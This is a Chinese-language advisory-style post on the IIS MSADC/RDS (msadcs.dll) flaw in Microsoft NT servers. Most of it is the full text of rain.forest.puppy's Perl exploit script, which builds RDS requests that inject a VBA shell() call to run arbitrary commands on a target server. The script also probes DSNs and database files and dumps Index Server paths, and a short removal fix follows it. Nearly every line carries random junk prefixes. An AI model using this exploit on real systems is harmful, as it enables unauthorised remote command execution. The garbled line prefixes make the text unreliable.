IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
285_|!.Y :|Z$3q 涉及程序：
R;H?gE^m- Microsoft NT server
1a<]$tZk J__;.rnk 描述：
y kxbX 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,VPb Uo@ +p13xc?#j 详细：
'I&|1I^ 如果你没有时间读详细内容的话，就删除:
,`;jvY~Ec c:\Program Files\Common Files\System\Msadc\msadcs.dll
RS'} nY} 有关的安全问题就没有了。
H R; /Br 1s Br.+p 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
D +f'*| "kX`FaAhY 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
sT)6nV 关于利用ODBC远程漏洞的描述，请参看:
,VAp>x+ O .
3Gn ZR,L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Q(lku"U' BR; Q Y1 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
RXBb:f http://www.microsoft.com/security/bulletins/MS99-025faq.asp pJd 0k"{
\;-qdV_JB 这里不再论述。
o>2e !7 c\M#5+ 1j 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
6G'<[gL
j ?8Et[tFg /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wuKl-:S;Vs 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
;P3>>DZ 2-~a
P wDDx j #将下面这段保存为txt文件，然后: "perl -x 文件名"
\3r3{X
_<` IeVLn^?+: #!perl
JL.5Q zA #
x"vwWJNQ # MSADC/RDS 'usage' (aka exploit) script
z+jh ;!i #
tG/1pW # by rain.forest.puppy
wa" uFW #
NUMi])HkN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
3@G;'|z # beta test and find errors!
-&im jy< F<5n Gx cC use Socket; use Getopt::Std;
" 9qp "% getopts("e:vd:h:XR", \%args);
):krJ+-/y cq EHYJ;B print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Xem 05%, 6 _*! |g if (!defined $args{h} && !defined $args{R}) {
Sr&T[ex,. print qq~
s|Zx(.EP Usage: msadc.pl -h <host> { -d <delay> -X -v }
8zZS p -h <host> = host you want to scan (ip or domain)
^;zWWg/d -d <seconds> = delay between calls, default 1 second
[G a~%m -X = dump Index Server path table, if available
&eIGF1ws -v = verbose
}w@gj"\H -e = external dictionary file for step 5
MD<-w|#8IV 1i
u =Y Or a -R will resume a command session
Z v 4 <b k5@d! }#c ~; exit;}
8a9RML}G< =<{ RX8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
%w7m\nw@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ZW*n /#GUC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\X&
C4# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
u?kD)5Nk $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rs:Q%V
^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a=+T95ulDy $M':&i5`, if (!defined $args{R}){ $ret = &has_msadc;
=MC~GXJSNw die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v)):$s?WB Zm(dY*z5:J print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&EovZ@u . "cmd /c ";
^uW%v2 $in=<STDIN>; chomp $in;
uUG*0Lj $command="cmd /c " . $in ;
Wr>(#*r7q pCC 7(Ouo if (defined $args{R}) {&load; exit;}
4 \p -TPM x l0DN{PG print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
aX^+ O, &try_btcustmr;
jJ~Y]dQi zE`R, :VI print "\nStep 2: Trying to make our own DSN...";
;xK_qBIP &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/)9W1U^B Kd3QqVJBz1 print "\nStep 3: Trying known DSNs...";
:Q _x/+- &known_dsn;
A62<]R)n nJJs% @y print "\nStep 4: Trying known .mdbs...";
cXN _*% &known_mdb;
.+E#q&= di g~J\ if (defined $args{e}){
:[sOKV i print "\nStep 5: Trying dictionary of DSN names...";
=XT)J6z^" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
kX[ fy7rVt We}lx{E print "Sorry Charley...maybe next time?\n";
kn T.l" exit;
m&IsDA n ]` ]g@ v ##############################################################################
=Ikg.jYq&F frN3S sub sendraw { # ripped and modded from whisker
K m 3&N sleep($delay); # it's a DoS on the server! At least on mine...
NP/> H9Q2% my ($pstr)=@_;
zoP%u,XL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
n|i" S` die("Socket problems\n");
:EZQ'3X if(connect(S,pack "SnA4x8",2,80,$target)){
++8_fgM select(S); $|=1;
by86zX print $pstr; my @in=<S>;
~O;y?]U select(STDOUT); close(S);
hazq#J! return @in;
@(:v_l } else { die("Can't connect...\n"); }}
hVP
IHQt alm-
r-Kb3 ##############################################################################
8$vK5Dnn8 `qiQ$kz sub make_header { # make the HTTP request
E=u/tpj
my $msadc=<<EOT
&Y7C0v POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
KWhZ +i` User-Agent: ACTIVEDATA
- 8bNQU Host: $ip
H"C UZ Content-Length: $clen
6;oe=Q:Q Connection: Keep-Alive
k\N4@UK A+
0,i ADCClientVersion:01.06
E'c%d[:H, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
; =jr0\| e N[Sb#w`[/ --!ADM!ROX!YOUR!WORLD!
_3>djF_u Content-Type: application/x-varg
O8|* M " Content-Length: $reqlen
4 tXSYHd3 1;&; 5 EOT
8]< f$3 . ; $msadc=~s/\n/\r\n/g;
0{) $SY return $msadc;}
4v dNMV~ +.Bmkim ##############################################################################
&uM^0eM 7Kf}O6nE sub make_req { # make the RDS request
(~s|=Hxq|- my ($switch, $p1, $p2)=@_;
LJQ J\bT? my $req=""; my $t1, $t2, $query, $dsn;
Cca0](R*& 'v&}( if ($switch==1){ # this is the btcustmr.mdb query
S >Z|) I $query="Select * from Customers where City=" . make_shell();
xh0 xSqDM $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
T_#,
A0 G $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
,EEPh>cXc }$g mK elsif ($switch==2){ # this is general make table query
#c Kqn k $query="create table AZZ (B int, C varchar(10))";
|(% u}V? $dsn="$p1";}
XnUO*v^] `v n J4 * elsif ($switch==3){ # this is general exploit table query
~]uZy=P? 5 $query="select * from AZZ where C=" . make_shell();
D>sYPrf $dsn="$p1";}
.g% Y@r)=5 vtxvS3
elsif ($switch==4){ # attempt to hork file info from index server
|L:Cn J $query="select path from scope()";
1 W'F3 $dsn="Provider=MSIDXS;";}
oq;'eM1 ,. ftZj}|R! elsif ($switch==5){ # bad query
@Doyt {|T $query="select";
=AOWeLk*G $dsn="$p1";}
Xl %0/ o 9 E1W|KE $t1= make_unicode($query);
\ijMw $t2= make_unicode($dsn);
GAEO $e: $req = "\x02\x00\x03\x00";
Qv#]81i(1 $req.= "\x08\x00" . pack ("S1", length($t1));
eN-au/kN $req.= "\x00\x00" . $t1 ;
E 9 Y\X $req.= "\x08\x00" . pack ("S1", length($t2));
9=+-QdX+0] $req.= "\x00\x00" . $t2 ;
S>_27r{ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;-@= return $req;}
;D2E_!N
dt |4b)>8TL/ ##############################################################################
uS5o?fg\e j9y3hQ+q sub make_shell { # this makes the shell() statement
F u _@!K
return "'|shell(\"$command\")|'";}
#a9_~\s |3eGz%Sd ##############################################################################
RiFw?Q+ Tb hH&kG)1 sub make_unicode { # quick little function to convert to unicode
;+Y i.Q/\ my ($in)=@_; my $out;
t})$ lM for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7_\Mwy{P return $out;}
g+[kde;(^ V@ :20 m ##############################################################################
+=3CL2{A n H[Weu sub rdo_success { # checks for RDO return success (this is kludge)
6yIvaY$KR my (@in) = @_; my $base=content_start(@in);
cT' w= if($in[$base]=~/multipart\/mixed/){
fCUT[d +H return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Yx)o :#2 return 0;}
I6w~H?ul@* B)=~8wsI:Z ##############################################################################
>Da~Q WW| M##';x0 sub make_dsn { # this makes a DSN for us
w|Aqqe my @drives=("c","d","e","f");
uJow7-FD print "\nMaking DSN: ";
RR| \- 8; foreach $drive (@drives) {
\54}T 4R print "$drive: ";
Un@\kAY my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"{BqtU*. "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
d*]Ew=^L . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
pyB~M9Bp/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
S GcBmjP return 0 if $2 eq "404"; # not found/doesn't exist
N{joXHCu if($2 eq "200") {
.;I29yk\XS foreach $line (@results) {
KL3<Iz] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]]uHM}l } return 0;}
l ";'6;g lZ+!H=` ##############################################################################
<!'M} s TZB+lj1 sub verify_exists {
x8[MP?W z my ($page)=@_;
>bm|%Ou" my @results=sendraw("GET $page HTTP/1.0\n\n");
Ewo~9
4{ return $results[0];}
Z=$ T1| QT!5l` ##############################################################################
;j} yB a/:XXy | sub try_btcustmr {
x8N|($1 my @drives=("c","d","e","f");
J !#Zi#8sF my @dirs=("winnt","winnt35","winnt351","win","windows");
'3 ,\@4 Ex(3D[WmMW foreach $dir (@dirs) {
\M+L3*W print "$dir -> "; # fun status so you can see progress
'fW#7W foreach $drive (@drives) {
Ka-p& Uv1< print "$drive: "; # ditto
;4 ~U,+Av $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|:q/Dt@ $reqlenlen=length( "$reqlen" );
q&si% $clen= 206 + $reqlenlen + $reqlen;
_PXdzeI. 3 fkk
[U my @results=sendraw(make_header() . make_req(1,$drive,$dir));
vK $^y^ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8 %Sb+w07 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y& {|Sw7? #Ob]]!y ##############################################################################
T{ Zwm!s vv5i? F
sub odbc_error {
=!.m GW-Q} my (@in)=@_; my $base;
(Wj 2?k/] my $base = content_start(@in);
gR gog*z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Px;Cg
6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
; st\I $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u?0d[mC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]> G&jd7 return $in[$base+4].$in[$base+5].$in[$base+6];}
$RO$}! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
trYTs,KV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
z'MS#6|} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
_6LoVS -T_\f?V88 ##############################################################################
~brFo2 pB01J< @m sub verbose {
+"!aM?o my ($in)=@_;
*Xr$/N return if !$verbose;
zK5bO= 0j print STDOUT "\n$in\n";}
=nRuY ' }C#3O{5 ##############################################################################
?p^2Z6J' $ 8tc*.H{^+ sub save {
%'ZN`XftG my ($p1, $p2, $p3, $p4)=@_;
y\ PxR708 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;A#~` P print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
`/:cfP\ close OUT;}
Ot9V< D6h f(:1yl\a ##############################################################################
bXdY\&fE Y E1Hpeb sub load {
cyF4iG'M,y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3Sh+u> w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_<Dt
z @p=<IN>; close(IN);
eBcJm $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
!]b@RU U $target= inet_aton($ip) || die("inet_aton problems");
FC>d_=V print "Resuming to $ip ...";
#g v4
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
{NQo S" if($p[1]==1) {
?pwE0N^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
?0vNEz[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
AU{:;%.g my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
'" xiS$b( if (rdo_success(@results)){print "Success!\n";}
?[= U%sPu= else { print "failed\n"; verbose(odbc_error(@results));}}
;u!?QSvb
elsif ($p[1]==3){
r0\f; q if(run_query("$p[3]")){
Es8#]'Rk print "Success!\n";} else { print "failed\n"; }}
ok0X<MR!I elsif ($p[1]==4){
|f' 8p8J if(run_query($drvst . "$p[3]")){
sdr.u print "Success!\n"; } else { print "failed\n"; }}
#Z 9L_gDp exit;}
Ap<J'?~y HeIS;g fUY ##############################################################################
Cvn$]bt/s 2p< Aj ! sub create_table {
?2`$3[ET- my ($in)=@_;
b X,Si z:F $reqlen=length( make_req(2,$in,"") ) - 28;
l)|lTOjb $reqlenlen=length( "$reqlen" );
8z T0_vw $clen= 206 + $reqlenlen + $reqlen;
&3DK^|Lq my @results=sendraw(make_header() . make_req(2,$in,""));
]Yz'8uts return 1 if rdo_success(@results);
I:;+ n^N ? my $temp= odbc_error(@results); verbose($temp);
] b1Li} return 1 if $temp=~/Table 'AZZ' already exists/;
.Q\\dESn" return 0;}
Pes =aw 'mV:@].le ##############################################################################
q627< MOHHZApt sub known_dsn {
J r*"V` # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
c> ~: dcy my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
P. V\ov7m2 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.6 T4 z7I "banner", "banners", "ads", "ADCDemo", "ADCTest");
jD9lz-Y@ Lb~\Y n'z foreach $dSn (@dsns) {
{bkGYx5.C print ".";
X;EJ&g/ next if (!is_access("DSN=$dSn"));
|]uc HV if(create_table("DSN=$dSn")){
)f*Iomp ]@ print "$dSn successful\n";
}76.6=~ if(run_query("DSN=$dSn")){
kk_zVrQ< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
, wK 1=7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
Y!n'" *J> !J^tg2M8: ##############################################################################
*cNk>y fusPMf *[ sub is_access {
T$ c+m\j6 my ($in)=@_;
8
/m3+5 $reqlen=length( make_req(5,$in,"") ) - 28;
YFvgz.> QE $reqlenlen=length( "$reqlen" );
r8v:|Q1" $clen= 206 + $reqlenlen + $reqlen;
wn84?$BGd my @results=sendraw(make_header() . make_req(5,$in,""));
e,Zv]Cym my $temp= odbc_error(@results);
v5 Y)al@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Xb<)L HA~3 return 0;}
rPTfpeqN) 0yQe5i} ##############################################################################
E .;io*0 F#1kZ@nq sub run_query {
yN:>!SQ my ($in)=@_;
</ZHa:=7 $reqlen=length( make_req(3,$in,"") ) - 28;
9dYOH)f $reqlenlen=length( "$reqlen" );
3B# !2| $clen= 206 + $reqlenlen + $reqlen;
AM/lbMr my @results=sendraw(make_header() . make_req(3,$in,""));
X_?%A54z? return 1 if rdo_success(@results);
az
bUc4M my $temp= odbc_error(@results); verbose($temp);
SLh~ _ 5 return 0;}
e "_"vbk UK:M:9 ##############################################################################
0w}{(P; ]h8/M7k sub known_mdb {
l ?/gW D^ my @drives=("c","d","e","f","g");
jt%WPkY: my @dirs=("winnt","winnt35","winnt351","win","windows");
"1%*'B^}bw my $dir, $drive, $mdb;
U_Y;fSl > my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
n /-N;'2J |"\lL9CT # this is sparse, because I don't know of many
W-XN4:,qI my @sysmdbs=( "\\catroot\\icatalog.mdb",
H%T3Pc "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)"~=7)~<^ "\\system32\\certmdb.mdb",
V"g~q?@F "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
K#)bjxz k4mTZ}6E my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
=n)#!i "\\cfusion\\cfapps\\forums\\forums_.mdb",
rgn| 24x "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{~ 1M "\\cfusion\\cfapps\\security\\realm_.mdb",
P^;WB*V "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z@nmjj i "\\cfusion\\database\\cfexamples.mdb",
n}5x-SxS0 "\\cfusion\\database\\cfsnippets.mdb",
=U_ @zDD@V "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
B>aEH b "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
H nK/A0j M "\\cfusion\\brighttiger\\database\\cleam.mdb",
dw99FA6 "\\cfusion\\database\\smpolicy.mdb",
!Iko0#4i "\\cfusion\\database\cypress.mdb",
v1K4 $& {F "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
a;yV#Y "\\website\\cgi-win\\dbsample.mdb",
auoA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
L]NYYP- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
3H <`Z4;
); #these are just
g QCC>8 foreach $drive (@drives) {
C=EhY+5 foreach $dir (@dirs){
8fEAYRGd foreach $mdb (@sysmdbs) {
c0hdLl; 5 print ".";
eo ]a'J9( if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
3]7ipwF2q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#PPsRKj3c if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
I')x]edU print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^ CX,nj_( } else { print "Something's borked. Use verbose next time\n"; }}}}}
/Sh4pu"' *fOIq88
foreach $drive (@drives) {
DW 4MA<UQ foreach $mdb (@mdbs) {
ls]Elo8h1f print ".";
>: fJhF@ if(create_table($drv . $drive . $dir . $mdb)){
]q37 H j print "\n" . $drive . $dir . $mdb . " successful\n";
*<;&>w8 if(run_query($drv . $drive . $dir . $mdb)){
=mAGD*NKu print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]X4 RnV55Q } else { print "Something's borked. Use verbose next time\n"; }}}}
":z@c, }
ur`}v|ZY "SDsISWd ##############################################################################
AF
QnCl Of Q!M sy <v sub hork_idx {
> sB=\ print "\nAttempting to dump Index Server tables...\n";
LsUFz_ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
739l%u }< $reqlen=length( make_req(4,"","") ) - 28;
8Q)y%7 {6 $reqlenlen=length( "$reqlen" );
?n73J wH $clen= 206 + $reqlenlen + $reqlen;
a6OrE*x:D my @results=sendraw2(make_header() . make_req(4,"",""));
7dsnv)(v if (rdo_success(@results)){
%PSz o8.l my $max=@results; my $c; my %d;
L5TNsLx ( for($c=19; $c<$max; $c++){
'1qAZkz $results[$c]=~s/\x00//g;
~F=#}6kg_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Ds;Rb6WcnY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
JO]`LF] $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
C-_w]2MM $d{"$1$2"}="";}
(#C B q foreach $c (keys %d){ print "$c\n"; }
EPR(i#xU } else {print "Index server doesn't seem to be installed.\n"; }}
Qdh"X^^ GF 9ZL ##############################################################################
moZ)|y aJ% e'F[ sub dsn_dict {
R,f MZHAG open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?% _]rr9 while(<IN>){
deHY8x5uI $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ysQEJm^|-u next if (!is_access("DSN=$dSn"));
8UjCX[v if(create_table("DSN=$dSn")){
t
Qp* ' print "$dSn successful\n";
x u0;a if(run_query("DSN=$dSn")){
Y+}OClS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!#l0@3 print "Something's borked. Use verbose next time\n";}}}
XtnIK print "\n"; close(IN);}
K7n;Zb:BR }D8 ~^ ##############################################################################
q\-x g*' WX+< 4j sub sendraw2 { # ripped and modded from whisker
FA<Z37: sleep($delay); # it's a DoS on the server! At least on mine...
Z 5{ *? 2 my ($pstr)=@_;
|F8;+nAVF# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$@lq}FQ% die("Socket problems\n");
~Q3WBOjn if(connect(S,pack "SnA4x8",2,80,$target)){
}6yxt9 print "Connected. Getting data";
q{jk.:;' open(OUT,">raw.out"); my @in;
qQ2 select(S); $|=1; print $pstr;
}39M_4a& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(e>RNn\ close(OUT); select(STDOUT); close(S); return @in;
}UJd E#4 } else { die("Can't connect...\n"); }}
ksxO<Y 'Hcd&3a ##############################################################################
H@ 1[SKBl k G_&-b sub content_start { # this will take in the server headers
"E 4i >g my (@in)=@_; my $c;
7 "h=MB_ for ($c=1;$c<500;$c++) {
^F;Z%5P= if($in[$c] =~/^\x0d\x0a/){
[)T$91
6 I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
7 UB8N vo else { return $c+1; }}}
bdNY 7|j` return -1;} # it should never get here actually
g: H[#I znGZULa# ##############################################################################
CfazD??x h7Shl<f sub funky {
N9fUlXhR my (@in)=@_; my $error=odbc_error(@in);
WzNG<rG if($error=~/ADO could not find the specified provider/){
R|cFpRe print "\nServer returned an ADO miscofiguration message\nAborting.\n";
PaU@T! v exit;}
t*ri`}a{v if($error=~/A Handler is required/){
|hZ|+7 print "\nServer has custom handler filters (they most likely are patched)\n";
;[;S_|vZ=) exit;}
P:bVcta9g if($error=~/specified Handler has denied Access/){
x);?jxd print "\nServer has custom handler filters (they most likely are patched)\n";
61t- exit;}}
q70YNk} +J}k_'4& ##############################################################################
n?7hp%} U?+3 0{hb sub has_msadc {
'Sb6
w+ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
7.F& {:@_ my $base=content_start(@results);
W! 5Blo return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
)%nt61P\W return 0;}
&B{Jxc`VA FW6E)df ########################
f%(e,KgW= \?p9qR;"4 oe RYyJ 解决方案：
b ?= 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
gFH;bZU 2、移除web 目录: /msadc
